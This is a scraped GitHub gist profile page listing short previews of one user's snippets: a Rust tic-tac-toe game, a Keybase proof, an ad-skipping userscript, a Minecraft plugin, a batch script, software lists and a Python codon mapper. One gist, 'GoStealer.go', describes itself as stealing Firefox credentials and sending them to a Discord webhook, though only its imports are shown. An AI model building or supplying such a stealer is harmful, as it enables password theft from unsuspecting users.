Skip to content

Instantly share code, notes, and snippets.

View n005's full-sized avatar

Noë Charlier n005

  • France
View GitHub Profile
@n005
n005 / tictactoe.rs
Last active March 26, 2023 12:56
TicTacToe in Rust with MinMax algo
use std::io;
// Tic Tac Toe game in CLI
fn main() {
// Draw the board
let difficulty = ask_difficulty();
let mut board = Board::new(difficulty);
board.print_board();
let player1 = Player::new(1, 'X');
let player2 = Player::new(2, 'O');

Keybase proof

I hereby claim:

  • I am n005 on github.
  • I am n005 (https://keybase.io/n005) on keybase.
  • I have a public key whose fingerprint is F00A DF77 464F D30E A2C0 3222 9279 3D6E 1BA9 45A5

To claim this, I am signing this object:

@n005
n005 / gist:17ae7fa69703c8f7f6be235875529097
Last active July 16, 2021 15:37
Multiup direct link
// ==UserScript==
// @name Multiup direct link
// @version 1.1
// @description Get links without ads
// @author N005
// @match *://multiup.org/*/mirror/*/*
// @grant none
// @updateURL https://gist.githubusercontent.com/n005/17ae7fa69703c8f7f6be235875529097/raw/
// @namespace https://gist.github.com/n005/17ae7fa69703c8f7f6be235875529097
// ==/UserScript==
@n005
n005 / GoStealer.go
Last active June 24, 2021 13:31
Steal Firefox credential and send it to a discord webhook. Use https://github.com/lclevy/firepwd to decrypt.
package main
import (
"bytes"
"fmt"
"io"
"log"
"mime/multipart"
"net/http"
"os"
@n005
n005 / Minecraft ManHunt Dream.java
Created January 26, 2021 16:41
Minecraft ManHunt Dream
import org.bukkit.event.player.PlayerRespawnEvent;
import org.bukkit.event.player.PlayerDropItemEvent;
import org.bukkit.event.entity.PlayerDeathEvent;
import org.bukkit.event.EventHandler;
import org.bukkit.event.block.Action;
import org.bukkit.event.player.PlayerInteractEvent;
import org.bukkit.entity.Player;
import org.bukkit.Material;
import org.bukkit.inventory.ItemStack;
import org.bukkit.ChatColor;
@n005
n005 / gist:fc26a070d1e718d901208ce87371d96c
Created December 12, 2020 15:08
Convert MM/dd/yyyy;mm:hh:ss;data;data to dd/MM/yyyy;mm:hh:ss;data;data;dd/MM/yyyy mm:hh:ss
@ECHO OFF
setlocal EnableDelayedExpansion
(FOR /F "usebackq tokens=1-2* delims=;" %%a IN (`TYPE "terrase.txt"`) DO (ECHO %%~a))>OUTPUT1
(FOR /F "usebackq tokens=1-2* delims=/" %%a IN (`TYPE "OUTPUT1"`) DO (ECHO %%~b/%%~a/%%~c))>OUTPUT2
del OUTPUT1
(FOR /F "usebackq tokens=1-2* delims=;" %%a IN (`TYPE "terrase.txt"`) DO (ECHO %%~b;%%~c))>TEMP
< TEMP (
for /F "delims=" %%a in (OUTPUT2) do (
Compo:
Natron
Blender
Fusion (not FOSS)
Video:
Kdenlive
Blender
DaVinci (not FOSS)
@n005
n005 / Science Software
Last active September 1, 2021 14:10
This is a community list for scientific purpose.
Progamming language:
Julia
Java
GNU Octave
Scilab
Matlab - Simulink
Anaconda / Python (+ Jupyter)
R / R Studio
Wolfram Mathematica
ROOT
@n005
n005 / DNA.py
Last active October 11, 2019 18:59
Python code for the automatic association of the genetic code and α-amino acids.
DNA = 'UUUUUCUUAUGUUGABBBUAAUAG' #Input DNA
n = 3
list = ["UUU", "UUC", "UUA", "UUG", "CUU", "CUC", "CUA", "CUG", "AUU", "AUC", "AUA", "AUG", "GUU", "GUC", "GUA", "GUG", "UCU", "UCC", "UCA", "UCG", "CCU", "CCC", "CCA", "CCG", "ACU", "ACC", "ACA", "ACG", "GCU", "GCC", "GCA", "GCG", "UAU", "UAC", "UAA", "UAG", "CAU", "CAC", "CAA", "CAG", "AAU", "AAC"," AAA", "AAG", "GAU", "GAC", "GAA", "GAG", "UGU", "UGC", "UGA", "UGG", "CGU", "CGC", "CGA", "CGG", "AGU", "AGC", "AGA", "AGG", "GGU", "GGC", "GGA", "GGG"]
list2 = ["Phe", "Phe", "Leu", "Leu", "Leu", "Leu", "Leu", "Leu", "lle", "lle", "lle", "Met", "Val", "Val", "Val", "Val", "Ser", "Ser", "Ser", "Ser", "Pro", "Pro", "Pro", "Pro", "Thr", "Thr", "Thr", "Thr", "Ala", "Ala", "Ala", "Ala", "Tyr", "Tyr", "Cod", "Stp", "His", "His", "Gln", "Gln", "Asn", "Asn", "Lys", "Lys", "Asp", "Asp", "Glu", "Glu", "Cys", "Cys", "Co/", "Try", "Arg", "Arg", "Arg", "Arg", "Ser", "Ser", "Arg", "Arg", "Cly", "Cly", "Cly", "Cly"]
list3 = []
e = 1
split_value0 = [DNA[i:i+n] for i in range(0